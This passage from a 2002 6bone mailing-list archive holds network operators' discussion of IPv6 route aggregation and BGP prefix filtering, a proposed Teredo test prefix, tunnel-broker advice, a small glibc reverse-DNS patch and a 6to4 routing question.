class=3D642562113-26072002><FONT face=3DVerdana color=3D#0000ff =
size=3D2>Viagenie. But=20
did not receive </FONT></SPAN></FONT></SPAN></DIV>
<DIV><SPAN class=3D642562113-26072002><FONT face=3DVerdana =
color=3D#0000ff=20
size=3D2><SPAN class=3D642562113-26072002><FONT face=3DVerdana =
color=3D#0000ff=20
size=3D2>any reply from them. </FONT></SPAN></FONT></SPAN><SPAN=20
class=3D642562113-26072002><FONT face=3DVerdana color=3D#0000ff =
size=3D2>I would like to=20
know what I need to do from my side and may </FONT></SPAN></DIV>
<DIV><SPAN class=3D642562113-26072002><FONT face=3DVerdana =
color=3D#0000ff size=3D2>be=20
what the&nbsp;</FONT></SPAN><SPAN class=3D642562113-26072002><FONT =
face=3DVerdana=20
color=3D#0000ff size=3D2>pTLA will do </FONT></SPAN><SPAN=20
class=3D642562113-26072002><FONT face=3DVerdana color=3D#0000ff =
size=3D2>for me so that=20
i can get connection to 6bone.</FONT></SPAN></DIV>
<DIV><SPAN class=3D642562113-26072002><FONT face=3DVerdana =
color=3D#0000ff=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D642562113-26072002><FONT face=3DVerdana =
color=3D#0000ff=20
size=3D2>Please help !</FONT></SPAN></DIV>
<DIV><SPAN class=3D642562113-26072002><FONT face=3DVerdana =
color=3D#0000ff=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D642562113-26072002><FONT face=3DVerdana =
color=3D#0000ff=20
size=3D2>thanx in advance.</FONT></SPAN></DIV>
<DIV><SPAN class=3D642562113-26072002><FONT face=3DVerdana =
color=3D#0000ff=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D642562113-26072002><FONT face=3DVerdana =
color=3D#0000ff=20
size=3D2>Regards,</FONT></SPAN></DIV>
<DIV><SPAN class=3D642562113-26072002><FONT face=3DVerdana =
color=3D#0000ff=20
size=3D2>Rohan.</FONT></SPAN></DIV></BODY></HTML>

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From rjorgensen@upctechnology.com Fri Jul 26 07:57:55 2002
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To: "Jeroen Massar" <jeroen@unfix.org>, <6bone@ISI.EDU>
From: Roger Jorgensen <rjorgensen@upctechnology.com>
Subject: Re: [6bone] Summer cleanup time for IPv6 aggregation!
Cc: <ipv6ops@eng.us.uu.net>, <Marc.Blanchet@viagenie.qc.ca>,
   <kuznet@ms2.inr.ac.ru>, ipv6@aorta.net
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Someone out there has now recently opened up their filters and are
passing on /48's and lots of other things. Check older stats and you'll
see that much of this crap wasn't there before.


My point of view on this can be put this way:

1) If you want to have strict aggregation (after the RFC) you filter incoming
AND outgoing

2) If you want less strict aggregation it's okay to allow upto /48's
both incoming and outgoing (I assume people do filter away not wanted
announcment if they follow the RFC letter by letter) and incoming.
Anything smaller than /48's are not accepted under any circumstances)



At 01:17 PM 7/25/2002 +0200, Jeroen Massar wrote:
<SNIP>

since I'm part of the IPv6 team here at chello (UPC Technology is more correct)
I'll comment on this part.

>8<---------
>CHELLO (AS6830) announced 16 route(s)
>     3ffe:2501:100::/48 path 10566 6939 6830 8733 (TVD -- 52%)
>     3ffe:8070:1010::/48 path 12199 145 11537 786 109 4618 (INET-TH --
>4%)
>     3ffe:8070:1010::/48 path 10566 6939 6830 (CHELLO -- 52%)
>     3ffe:2900:2004::/48 path 12199 145 11537 786 109 4618 (INET-TH --
>4%)
>     3ffe:2900:2004::/48 path 10566 6939 6830 (CHELLO -- 52%)
>     3ffe:1300:7::/48 path 12199 145 11537 786 109 4618 (INET-TH -- 4%)
>     3ffe:1300:7::/48 path 10566 6939 6830 (CHELLO -- 52%)
>     3ffe:327e:1::/48 path 12199 145 11537 786 109 4618 (INET-TH -- 4%)
>     3ffe:327e:1::/48 path 10566 6939 6830 (CHELLO -- 52%)
>     3ffe:4005:a::/48 path 12199 145 11537 786 109 4618 (INET-TH -- 4%)
>     3ffe:4005:a::/48 path 10566 6939 6830 (CHELLO -- 52%)
>     3ffe:80ee:556::/48 path 12199 145 11537 786 109 4618 (INET-TH -- 4%)
>     3ffe:80ee:556::/48 path 10566 6939 6830 (CHELLO -- 52%)
>     3ffe:200:c::/48 path 10566 6939 6830 2847 ( -- 52%)
>     3ffe:80b0:1002::/48 path 10566 6939 6830 8733 (TVD -- 52%)
>     2001:6e0:202::/48 path 12199 145 11537 786 109 5539 1853 6830 8209 (
>-- 4%)
>     3ffe:400b:6002::/48 path 12199 145 11537 786 109 4618 (INET-TH --
>4%)
>     3ffe:400b:6002::/48 path 10566 6939 6830 (CHELLO -- 100%)
>     3ffe:81a0:1012::/48 path 12199 145 11537 786 109 4618 (INET-TH --
>4%)
>     3ffe:81a0:1012::/48 path 10566 6939 6830 (CHELLO -- 52%)
>     3ffe:2500:322::/48 path 12199 145 11537 786 109 4618 (INET-TH -- 4%)
>     3ffe:2500:322::/48 path 10566 6939 6830 (CHELLO -- 52%)
>     3ffe:8271:a080::/44 path 12199 145 11537 786 109 4618 (INET-TH --
>4%)
>     3ffe:8271:a080::/44 path 10566 6939 6830 (CHELLO -- 52%)
>     3ffe:82bf::/32 path 10566 6939 6830 24643 (NEXTGEN-LAB -- 52%)
>     3ffe:2640::/32 path 10566 6939 6830 790 6793 (TELIAFI -- 51%)
>--------->8
>And even more /48's, /44's and /32's and even double entries, great to
>spread those.
>
>inet6num:     3FFE:82B0::/28
>netname:      WEBONLINE-NET
>descr:        WebOnline AS
>
>Keep those peerings private...

3ffe:82bf::/32 is delegated to AS24643, also us. It's been in the list forever.
AS8209 is also us, think I maybe should create a 6bone entry for it.


and a general comment:

What's wrong with letting through 3ffe::/16 le /32 ? (know it break the current
RFC), but wouldn't it be an idea to let both 2001 and 3ffe space be aggregated
upto /32 ? (2001 are, but 3ffe aren't)

And on a later stage, maybe we should change the RFC and allow even something
bigger than /32 be let through, /40 ? (/48's are too big to be let through 
on a RFC base)




---
Roger Jorgensen (rjorgensen@chello.com)
System Engineer @ UPC Technology / IP engineering
handles: ROJO1-6BONE ROJO9-RIPE RJC10-NORID



From jeroen@unfix.org Fri Jul 26 10:00:40 2002
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Cc: <ipv6ops@eng.us.uu.net>, <Marc.Blanchet@viagenie.qc.ca>, <ipv6@aorta.net>
Subject: RE: [6bone] Summer cleanup time for IPv6 aggregation!
Date: Fri, 26 Jul 2002 18:59:35 +0200
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Roger Jorgensen [mailto:rjorgensen@upctechnology.com] wrote:

> Someone out there has now recently opened up their filters and are
> passing on /48's and lots of other things. Check older stats 
> and you'll
> see that much of this crap wasn't there before.
> 
> 
> My point of view on this can be put this way:
> 
> 1) If you want to have strict aggregation (after the RFC) you 
> filter incoming AND outgoing

One could be "nice" to incoming peers ofcourse, that doesn't put
anything in the global routing table which should belong there.

> 2) If you want less strict aggregation it's okay to allow upto /48's
> both incoming and outgoing (I assume people do filter away not wanted
> announcment if they follow the RFC letter by letter) and incoming.
> Anything smaller than /48's are not accepted under any circumstances)

That's your point of view, there will probably be some smaller parties
then who will have a point of view
that /128's are okay, or people who will have point of view that
ddossing people is normal etc....
It's the GLOBAL routing table we are talking about. Not that peering
session between some friends.
If we would start announcing everything there wouldn't be a need for
RIR's to exist now was there?

"I'll take that small /48 from you and announce it myself, saves me from
going through the RIR's"
And then everybody will be a RIR-alike entity and it _will_ become a
huge mess.

> At 01:17 PM 7/25/2002 +0200, Jeroen Massar wrote:
> <SNIP>
> 
> since I'm part of the IPv6 team here at chello (UPC Technology is more
correct)
> I'll comment on this part.
> 
> >8<---------
> >CHELLO (AS6830) announced 16 route(s)
> >     3ffe:2501:100::/48 path 10566 6939 6830 8733 (TVD -- 52%)
> >     3ffe:8070:1010::/48 path 12199 145 11537 786 109 4618  (INET-TH
--
> >4%)
> >     3ffe:8070:1010::/48 path 10566 6939 6830 (CHELLO -- 52%)
> >     3ffe:2900:2004::/48 path 12199 145 11537 786 109 4618 (INET-TH
--
> >4%)
> >     3ffe:2900:2004::/48 path 10566 6939 6830 (CHELLO -- 52%)
> >     3ffe:1300:7::/48 path 12199 145 11537 786 109 4618 (INET-TH --
4%)
> >     3ffe:1300:7::/48 path 10566 6939 6830 (CHELLO -- 52%)
> >     3ffe:327e:1::/48 path 12199 145 11537 786 109 4618 (INET-TH --
4%)
> >     3ffe:327e:1::/48 path 10566 6939 6830 (CHELLO -- 52%)
> >     3ffe:4005:a::/48 path 12199 145 11537 786 109 4618 (INET-TH --
4%)
> >     3ffe:4005:a::/48 path 10566 6939 6830 (CHELLO -- 52%)
> >     3ffe:80ee:556::/48 path 12199 145 11537 786 109 4618 (INET-TH --
4%)
> >     3ffe:80ee:556::/48 path 10566 6939 6830 (CHELLO -- 52%)
> >     3ffe:200:c::/48 path 10566 6939 6830 2847 ( -- 52%)
> >     3ffe:80b0:1002::/48 path 10566 6939 6830 8733 (TVD -- 52%)
> >     2001:6e0:202::/48 path 12199 145 11537 786 109 5539 1853 6830
8209 ( -- 4%)
> >     3ffe:400b:6002::/48 path 12199 145 11537 786 109 4618 (INET-TH
-- 4%)
> >     3ffe:400b:6002::/48 path 10566 6939 6830 (CHELLO -- 100%)
> >     3ffe:81a0:1012::/48 path 12199 145 11537 786 109 4618 (INET-TH
--4%)
> >     3ffe:81a0:1012::/48 path 10566 6939 6830 (CHELLO -- 52%)
> >     3ffe:2500:322::/48 path 12199 145 11537 786 109 4618 (INET-TH --
4%)
> >     3ffe:2500:322::/48 path 10566 6939 6830 (CHELLO -- 52%)
> >     3ffe:8271:a080::/44 path 12199 145 11537 786 109 4618 (INET-TH
-- 4%)
> >     3ffe:8271:a080::/44 path 10566 6939 6830 (CHELLO -- 52%)
> >     3ffe:82bf::/32 path 10566 6939 6830 24643 (NEXTGEN-LAB -- 52%)
> >     3ffe:2640::/32 path 10566 6939 6830 790 6793 (TELIAFI -- 51%)
> >--------->8
> >And even more /48's, /44's and /32's and even double entries, great
to
> >spread those.
> >
> >inet6num:     3FFE:82B0::/28
> >netname:      WEBONLINE-NET
> >descr:        WebOnline AS
> >
> >Keep those peerings private...
> 
> 3ffe:82bf::/32 is delegated to AS24643, also us. It's been in the list
forever.
> AS8209 is also us, think I maybe should create a 6bone entry for it.

"It's been in the list forever" translates to "we never took care of
cleaning it up"
Maybe one could consider merging them into one AS ?

Also as this is a /28 entry only the /28 should pop up in the global
routing table, nothing else.

Btw... you didn't cover the Thailand prefixes ;)

> and a general comment:
> 
> What's wrong with letting through 3ffe::/16 le /32 ? (know it break
the current
> RFC), but wouldn't it be an idea to let both 2001 and 3ffe 
> space be aggregated upto /32 ? (2001 are, but 3ffe aren't)
Because it breaks the "RIR dealt out the prefix" rule.
eg TLA's having a /24 could then do the "I am a RIR too" game if you
specify it that way.
Which in effect mostly will lead to the "everybody is a RIR" effect
again.

Another way would be revoking all the non /32's from the sixbone space
and let people
keep only one /32, but that won't work as they are (at least some people
say) in active use.
So those 3 extra lines is something we will have to cope with for the
time being.

6bone will go away in the long run. It's a testbed and it should be
tightly policed
to make sure it doesn't make any problems for the productional IPv6
space.
Btw... enterzone for example just requested a pTLA for "testing", they
are using their
RIR space for production. Which is good. And then those filters can go
too...

> And on a later stage, maybe we should change the RFC and 
> allow even something
> bigger than /32 be let through, /40 ? (/48's are too big to 
> be let through 
> on a RFC base)

You want to creat PI space, and there *IS* none.
You can send *ANYTHING* you want to your peers as long as it doesn't
popup in the global routing table.
Repeat after me: Multihoming is currently not possible with IPv6 untill
ipv6mh work is done.

Check: http://arneill-py.sacramento.ca.us/ipv6mh/

Number one in the charter:
8<----------
- Develop IPv6 multihoming solutions that can be deployed in a
reasonable amount of time (before aggregation is broken).
  No IPv6 multihoming, no IPv6.
---------->8

And if all the people/companies/organisations keep announcing all kinds
of wierd
things they won't make that "before aggregation is broken" part.
It's coming along just fine, ofcourse any help is appreciated!

IPv6 - Just keep it clean.

Greets,
 Jeroen


From narten@us.ibm.com Fri Jul 26 10:54:06 2002
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To: "Christian Huitema" <huitema@windows.microsoft.com>
cc: "Bob Fink" <fink@es.net>, "6BONE List" <6bone@mailman.isi.edu>
Subject: Re: [6bone] pTLA for Teredo testing - review closes 7 August 2002 
In-Reply-To: Message from  "Thu, 25 Jul 2002 12:52:37 PDT." <F66A04C29AD9034A8205949AD0C9010401C0E5BE@win-msg-02.wingroup.windeploy.ntdev.microsoft.com> 
Date: Fri, 26 Jul 2002 13:53:08 -0400
From: Thomas Narten <narten@us.ibm.com>
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Christian,

> Both, kind of. I am ready to sign off for something that says "Teredo
> servers will be turned of at some predictable date". We could debate the
> date; if I had to choose one, I would say 12/31/2006.

That's a rather long-running experiment, IMO. Hard to see how this is
different than just "deployment".

> There are two ways to stop the experiment once it starts: stop the
> servers, and junk the prefix so nobody routes these packets.

And if clients are still using it, they will just be left hanging?
What assurances are there that there won't be significant numbers of
clients still wanting/trying to use the prefix?

Let me step back a bit and summarize my general concern.
draft-ietf-ngtrans-shipworm-05.txt was forwarded to the IESG, and
there was quite a lot of strong concern fed back about particulars of
the technology. It is unclear what has changed in the document to
address that feedback or whether those who raised the concerns agree
that their concerns have been adequately dealt with. (I am aware of no
followup discussion on the revised draft.)

One issue I spoke about (and it was just one of the issues, and one I
chose to expand on in email at the time) concerned use of anycast
addresses for source addresses. My understanding from an earlier note
is that this sort of usage has been reduced in the latest draft, but
has not been eliminated. So I can't say that that specific concern has
been adequately addressed. (I haven't re-reviewed the document to
fully understand what the current restrictions are.) 

As a general statement, I don't believe the community should be
blessing open-ended experiments in which significant concerns about
the technology behind the proposed experiment/usage have been
raised. If the experiment were designed to better understand some
aspects that can only be determined through actual testing (while
folks were generally in agreement that the testing itself poses no
dangers), that would be one thing. But I don't sense that this is the
case here. In particular:

 - there is no clear description of what the experiment is intended to
   determine, how it will be terminated in a reasonable time frame,
   what the criteria is for deciding whether the experiment is a
   success or failure, how the scope of the experiment will be limited
   to some known size, and how we can ensure that the experiment
   doesn't just become actual deployment even if the experiment
   produces negative results.

 - more importantly, there are oustanding technical concerns with the
   shipworm/teredo work. I assume an attempt at addressing those
   concerns has been made in the revised draft. But until the draft
   has received adequate review and there is consensus that the work
   should go forward, I do not believe we (either IANA and 6bone)
   should be giving out a prefix for testing. To do so would
   short-circuit the community review process. I might add, a cynic
   might read the request for a 6bone allocation as an attempted end
   run around the fact the IESG has not approved the document, and
   hence, IANA won't yet allocate a prefix.

General comment. Don't take the above as a statement that I believe
that the problem is unimportant. I believe it is, as a solution to the
general problem could significantly help IPv6 deployment. At the same
time, however, a flawed solution could well be a disaster
in-the-making for IPv6 and set back deployment efforts overall. It is
precisely this concern that has prompted the pushback on the document
so far from myself and others. Thus, I believe it would be most
constructive to focus on the issue that have been raised and what can
be done about them.

Folks should also look at the IAB's
draft-iab-unsaf-considerations-02.txt. It provides some very relevant
discussion of some of the issues.

Thomas

From mcr@sandelman.ottawa.on.ca Fri Jul 26 16:30:37 2002
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Subject: Re: [6bone] pTLA for Teredo testing - review closes 7 August 2002 
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-----BEGIN PGP SIGNED MESSAGE-----


Let me just say that I do not think that we should consider Teredo an
"experiment". So, the questions that Thomas properly raises ("when is the
experiment over? how do we know if it succeeded?")

It will continue to be used as long as there are IPv4 NATs out there that do
not offer any IPv6 service. Christian, 2007? I doubt it.

Do not think that this is the lifecycle of technology the first world - I
predict that the evil boxes that cause this problem will be rescued from
dumpsters here and will show up in huts in the middle of the sub-Sahara
(cf. _The Gods must be crazy_ s/coke bottle/IPv4 NAT/). 

Teredo is as important as 6to4, perhaps more so. I had more or less assumed
that it would be the 2003:: prefix or something. I believe that this is a
worthwhile thing to do with 1/65536s of our address space. 

I understand the concerns about the technology - I hope that they can be
fixed. {I personally can not imagine ever being in such a place where I would
be able to effectively use an anycast address to reach a Teredo relay, while
being unable to do either at least 6to4, or IPv6 natively. }

]    Internet Security. Have encryption, will travel           |1 Fish/2 Fish [
]  Michael Richardson, Sandelman Software Works, Ottawa, ON    |Red F./Blow F [
]mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |strong crypto [
]    At the far end of some dark fiber - wait that's dirt!     |for everyone  [


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: latin1
Comment: Finger me for keys

iQCVAwUBPUHSx4qHRg3pndX9AQGQMAP/eTsBMKr9/HvsPDenWKGKALLCRWvF5To7
PpWOxucBPu7PMf13WoyVf+S0g2njkR8WcJeU+MdaOnmmAcMczPs9h/IQG1sQEaEC
mFLjRhMb+t+qYWTG9M2dOztm6utK+qAFO5P+5EeK1ykzPGri8YhyMKwA/uXW26Ha
WoQTQsHS+TQ=
=jRXp
-----END PGP SIGNATURE-----

From tvo@EnterZone.Net Fri Jul 26 16:35:58 2002
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Date: Fri, 26 Jul 2002 19:35:50 -0400 (EDT)
From: John Fraizer <tvo@EnterZone.Net>
To: Roger Jorgensen <rjorgensen@upctechnology.com>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] Summer cleanup time for IPv6 aggregation!
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On Fri, 26 Jul 2002, Roger Jorgensen wrote:
> 
> What's wrong with letting through 3ffe::/16 le /32 ? (know it break the current
> RFC), but wouldn't it be an idea to let both 2001 and 3ffe space be aggregated
> upto /32 ? (2001 are, but 3ffe aren't)

It's all about aggregation.  Since not all of 3ffe://16 is allocated as
/32's, not all of it should be accepted as /32's.  We should only accept
this address space up to the bit boundry that is allocated.

Beyond that, when you requested your pTLA, you should recall this part of
the application:

      "The pTLA Applicant MUST commit to abide by the current 6Bone
      operational rules and policies as they exist at time of its
      application, and agree to abide by future 6Bone backbone
      operational rules and policies as they evolve by consensus of the
      6Bone backbone and user community."


Note this portion of RFC2772:


   "All 6bone pTLAs MUST NOT advertise prefixes longer than a given pTLA
   delegation (currently /24 or /28) to other 6bone pTLAs unless special
   peering arrangements are implemented. When such special peering
   aggreements are in place between any two or more 6bone pTLAs, care
   MUST be taken not to leak the more specifics to other 6bone pTLAs not
   participating in the peering aggreement. 6bone pTLAs which have such
   agreements in place MUST NOT  advertise other 6bone pTLA more
   specifics to downstream 6bone pNLAs or leaf sites, as this will break
   the best-path routing decision."


Somehow, I don't remember entering into a peering agreement that included
the following:

2001:6c0:1fff:ffd0::/60
2001:7f8:1::/64
3ffe:1200:3028:88a0::/64
3ffe:8090:4800:4e20::/64
3ffe:8090:4800:c000::/64


> And on a later stage, maybe we should change the RFC and allow even something
> bigger than /32 be let through, /40 ? (/48's are too big to be let through 
> on a RFC base)

Why?  There is no reason to do this.  Let the /35, /32, /28, /24 (whatever
the RIR or 6bone allocation is) through the filters.  Anything more
specific is reachable by the aggregate and we don't end up with a v6
global routing table that is messed up like the current v4 table.

Folks, the "redistribute connected" is *NOT* your friend here.  There is
no reason for a /64 or /128 to be in the routing table.  That is what your
IGP is for.


There are so many EASY ways to keep the global table clean.

(1) aggregate-address X:X::X:X/M summary-only   It's simple, it's elegant,
it works.

(2) prefix-list filter your peers.  If you're not already doing this, you
should be!   If you have a downstream BGP peer who is going to be sending
you a /40 or /48 announcement, set up a route-map for this peer like so:



ipv6 prefix-list DOWNSTREAM permit XX::XX/48
ipv6 prefix-list subTLA-only seq 5 deny 2001::/16 ge 36
ipv6 prefix-list subTLA-only seq 10 deny 3ffe::/18 ge 25
ipv6 prefix-list subTLA-only seq 15 deny 3ffe:4000::/18 ge 33
ipv6 prefix-list subTLA-only seq 20 deny 3ffe:8000::/22 ge 29
ipv6 prefix-list subTLA-only seq 25 permit ::/0 ge 1
!
route-map DOWNSTREAM permit 10
 match ipv6 address prefix-list DOWNSTREAM
 set community no-export additive
!
route-map DOWNSTREAM permit 20
 match ipv6 address prefix-list subTLA-only
!

You will see the /48 (or whatever it is) in YOUR routing table but, you
are doing the responsible thing and marking it as no-export and not
polluting the GLOBAL table with that garbage.


(3) Apply a prefix list, like the above subTLA-only both inbound and
outbound to your transit peer connections.

This truely is not that difficult.  I don't understand the overwhelming
resistance to doing things right.



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |




From michel@arneill-py.sacramento.ca.us Fri Jul 26 19:51:34 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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> Michael Richardson wrote:
> I had more or less assumed that it would be the 2003::
> prefix or something.

Maybe there is something to be learned here about hijacking prefixes
before they are assigned, no matter how big one is.


> Let me just say that I do not think that we should consider
> Teredo an "experiment". So, the questions that Thomas properly
> raises ("when is the experiment over? how do we know if it
> succeeded?")

In the light of Christian's answer, I concur.


> It will continue to be used as long as there are IPv4 NATs out
> there that do not offer any IPv6 service. Christian, 2007? I
> doubt it.

So do I.

Michel.


From michel@arneill-py.sacramento.ca.us Fri Jul 26 19:52:35 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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Thomas,

> Thomas Narten wrote:
> Let me step back a bit and summarize my general concern.
> [SNIP]

I generally agree with your posting, save for the following, to be
placed in the context of generic 6bone testing prefixes, _not_ of the
Teredo case.

> But until the draft has received adequate review and there
> is consensus that the work should go forward, I do not believe
> we (either IANA and 6bone) should be giving out a prefix for
> testing

I would make a difference between the 6bone and the IANA here. The 6bone
is for experimental purposes, and experimental means testing things that
we don't know if they are working or not.

More specifically, there are things such as new operational practices or
new ways to allocate addresses that are extremely difficult or
impossible to simulate in a lab environment and require larger scale
testing.


> If the experiment were designed to better understand some
> aspects that can only be determined through actual testing
> (while folks were generally in agreement that the testing
> itself poses no dangers), that would be one thing.

This is what I mean by testing, and I fully agree with attaching strings
to test prefixes, such as the ones you mentioned:

> how it will be terminated in a reasonable time frame,
> what the criteria is for deciding whether the experiment
  is a success or failure,
> how the scope of the experiment will be limited to some
  known size
> how we can ensure that the experiment doesn't just become
  actual deployment even if the experiment produces
  negative results.

And I would add that:

- Milestones, deadlines and/or periodic reviews/reassessments are
reasonable requirements to me.

- Depending on the consequences of the experiment on the global routing
table (or on the percept danger of testing), the experiment can be made
optional, which means that it would be OK for anyone to block the
experimental/test prefix.

- The experiment can't be considered a success if it does not end up
with IANA allocating a permanent prefix to replace the 6bone test
prefix.

In other words, there is a lot of unknown in front of us at this time,
and it would be a shame to miss something that never succeeded because
it was not possible to test it.

It is in line with the 6bone spirit, and there is value in a fast track
to perishable prefixes for testing purposes, if the testing occurs in a
controlled fashion, and if in the end the decision to allocate a
permanent prefix and therefore the success of the test/experiment is in
the hands of the IANA.


Michel.


From pekkas@netcore.fi Sat Jul 27 06:55:11 2002
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From: Pekka Savola <pekkas@netcore.fi>
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On Fri, 26 Jul 2002, Michel Py wrote:
> - The experiment can't be considered a success if it does not end up
> with IANA allocating a permanent prefix to replace the 6bone test
> prefix.

Does this also apply to 3ffe::/16?

(It was a rhetoric question.. :-)

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From pasky@machine.sinus.cz Mon Jul 29 02:08:12 2002
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Subject: [6bone] Re:  request to become an End-site ...
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Dear diary, on Fri, Jul 26, 2002 at 03:26:37PM CEST, I got a letter, where
Rohan P Pandit <rohan.pandit@wipro.com> told me, that...
> I am interested in becoming an end-site of the existing pTLAs. I have gone
> through the information on the 6bone.net site and contacted Viagenie. But did
> not receive any reply from them. I would like to know what I need to do from
> my side and may be what the pTLA will do for me so that i can get connection
> to 6bone.

You probably want to start from requesting a tunnel and some IPv6 zone (/64 or
/48 or whatever..) from some so-called "tunnel broker". You will just enter all
relevant information thru web form, and then setup your gateway accordingly to
informations they will send you withing few minutes or display directly on
their web site.

The most known ones include Access to Six (http://www.xs26.net/), IPng (http://www.ipng.nl)
or Freenet6 (http://www.freenet6.net/), hopefully full list is at http://www.hs247.com/.

> **************************Disclaimer**************************************************    
>  
>  Information contained in this E-MAIL being proprietary to Wipro Limited is 'privileged' 
> and 'confidential' and intended for use only by the individual or entity to which it is 
> addressed. You are notified that any use, copying or dissemination of the information 
> contained in the E-MAIL in any manner whatsoever is strictly prohibited.
> 
> ****************************************************************************************

Oh, I violated this by copying of the information to my reply!

-- 
 
				Petr "Pasky" Baudis
 
* ELinks maintainer                * IPv6 guy (XS26 co-coordinator)
* IRCnet operator                  * FreeCiv AI occassional hacker
.
You can get much further with a kind word and a gun than you can with a
kind word alone. -- Al Capone
.
Public PGP key && geekcode && homepage: http://pasky.ji.cz/~pasky/

From pasky@machine.sinus.cz Mon Jul 29 02:20:43 2002
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Dear diary, on Thu, Jul 25, 2002 at 03:19:24AM CEST, I got a letter,
where John Fraizer <tvo@EnterZone.Net> told me, that...
> 
> OK. 
> 
>  (1) What is nibble format?
>  (2) Why would the glibc maintainers drop looking in ip6.int when there is
> no ip6.arpa for 3ffe::/16?

Dunno. I filled a report in glibc bugs tracking system (gnats, iirc), and they
told me to write a patch for it to first try ip6.arpa and then ip6.int, however
I have no time to do that now.

FYI, the bug id is 3957.

-- 
 
				Petr "Pasky" Baudis
 
* ELinks maintainer                * IPv6 guy (XS26 co-coordinator)
* IRCnet operator                  * FreeCiv AI occassional hacker
.
You can get much further with a kind word and a gun than you can with a
kind word alone. -- Al Capone
.
Public PGP key && geekcode && homepage: http://pasky.ji.cz/~pasky/

From todd@goober.mrleng.com Mon Jul 29 07:36:42 2002
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From: "Todd T. Fries" <todd@fries.net>
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Subject: [6bone] glibc fix -> here <-
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Home net is down, apoligies for mailing the list, but here's your glibc
fix adapted from KAME/NetBSD/OpenBSD applied against the latest tarball of
glibc I could find (2.2.5):


--- ChangeLog.orig	Mon Jul 29 09:32:36 2002
+++ ChangeLog	Mon Jul 29 09:34:07 2002
@@ -1,3 +1,8 @@
+2002-06-29  Todd Fries <todd@openbsd.org>
+
+	* resolv/gethnamaddr.c: try ip6.int if ip6.arpa fails; code adapted
+	from KAME/NetBSD/OpenBSD libc.
+
 2002-01-18  Andreas Schwab  <schwab@suse.de>
 
 	* sysdeps/unix/sysv/linux/configure.in

--- gethnamaddr.c.orig	Fri Oct 26 18:49:48 2001
+++ gethnamaddr.c	Mon Jul 29 09:28:10 2002
@@ -696,6 +696,11 @@
 		abort();
 	}
 	n = res_nquery(&_res, qbuf, C_IN, T_PTR, (u_char *)buf.buf, sizeof buf.buf);
+	if (n < 0 && af == AF_INET6) {
+		strcpy(qp, "ip6.int");
+		n = res_nquery(&_res, qbuf, C_IN, T_PTR, (u_char *)buf.buf, sizeof buf.buf);
+	}
+		
 	if (n < 0) {
 		dprintf("res_nquery failed (%d)\n", n);
 		if (errno == ECONNREFUSED)
-- 
Todd Fries .. todd@fries.net

(last updated $ToddFries: signature.p,v 1.2 2002/03/19 15:10:18 todd Exp $)


From bmanning@vacation.karoshi.com Mon Jul 29 15:17:24 2002
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> > > But AS6175 (SPRINT) is announcing 2001:400::/24.
> > >
> > Hello,
> >      it wasn't a typo, they are announcing a /24, which include your space.
> > 
> 
> 	Thats antisocial, esp since we have no relationship with
> 	them. 
> 
> --bill


	Could the folks injecting the /24 here -PLEASE- adjust it
	accordingly. Since ARIN is delegating /35 and /32 prefixes,
	this is (to put it nicely) overly agressive aggregation.
	Either that, or please provide me with the rest of the transit
	that is being annouced to the rest of the 6bone.  I'll 
	be happy to have you provision circuits to my POP.

--bill

From jds@pm73a.smerdon.livonia.mi.us Mon Jul 29 19:48:24 2002
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From: John D Smerdon <jds@smerdon.livonia.mi.us>
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Subject: [6bone] 6to4 anycast in US instead of Switzerland?
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I have a SDSL connection at home and have been using 6to4.  My
provider is Concentric/XO and when using the 6to4 anycast address,
my first hop on ipv6 is switch.ch.  

Is anyone offering 6to4 anycast in the US, preferably in the midwest,
or by a peer of XO in Chicago IL?

If there is a closer 6to4 anycast network, would it be reasonable
for me to request XO to preference a different AS in their BGP for
the 6to4 anycast network?

Thanks!

$traceroute 192.88.99.1
traceroute to 192.88.99.1 (192.88.99.1), 30 hops max, 40 byte packets
 2  w001.z208176108.det-mi.dsl.cnc.net (208.176.108.1)  11.760 ms  12.268 ms  13.096 ms
 3  206.83.95.9 (206.83.95.9)  16.011 ms  14.884 ms  14.297 ms
 4  216.112.137.9 (216.112.137.9)  14.947 ms  13.741 ms  14.182 ms
 5  Southfield2.NextlinkNCO.DS3.WAN.daf.concentric.net (216.112.137.98)  16.551 ms  16.697 ms  15.698 ms
 6  ge5-0-0.MAR1.Southfield-MI.us.xo.net (207.88.84.113)  14.157 ms  15.335 ms  14.842 ms
 7  p5-1-0-1.RAR1.Chicago-IL.us.xo.net (65.106.6.173)  20.964 ms  20.319 ms  21.056 ms
 8  ge1-0.edge1.chi-il.us.xo.net (64.220.0.181)  21.468 ms  21.625 ms  21.607 ms
 9  207.88.50.242 (207.88.50.242)  22.591 ms  22.756 ms  31.107 ms
10  pos6-0-2488M.cr1.CHI1.gblx.net (208.49.59.205)  22.026 ms  22.060 ms  20.936 ms
11  pos0-0-2488M.cr1.CDG2.gblx.net (62.24.34.42)  123.448 ms  123.233 ms  123.329 ms
12  so0-0-0-622M.ar2.CDG2.gblx.net (62.24.34.74)  123.272 ms  125.076 ms  122.880 ms
13  Dante-Switch.so-0-1-0.ar2.CDG2.gblx.net (64.212.70.62)  134.051 ms  133.715 ms  132.359 ms
14  swiEZ2-G2-2.switch.ch (130.59.36.42)  140.177 ms  138.569 ms  137.986 ms
15  swiCS3-G3-2.switch.ch (130.59.36.17)  136.230 ms  138.664 ms  137.236 ms
16  * swi6T1-F0-1.switch.ch (130.59.20.6)  136.450 ms *

-- 
John D. Smerdon;  Livonia, Michigan, USA;  Contents are my opinion.
Home: jds@smerdon.livonia.mi.us http://www.smerdon.org/

From michel@arneill-py.sacramento.ca.us Mon Jul 29 22:37:37 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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Bill,

> Thats antisocial, esp since we have no relationship
> with them. 

With all due respect, do you feel the power of the incarnation of evil
now?

Michel.


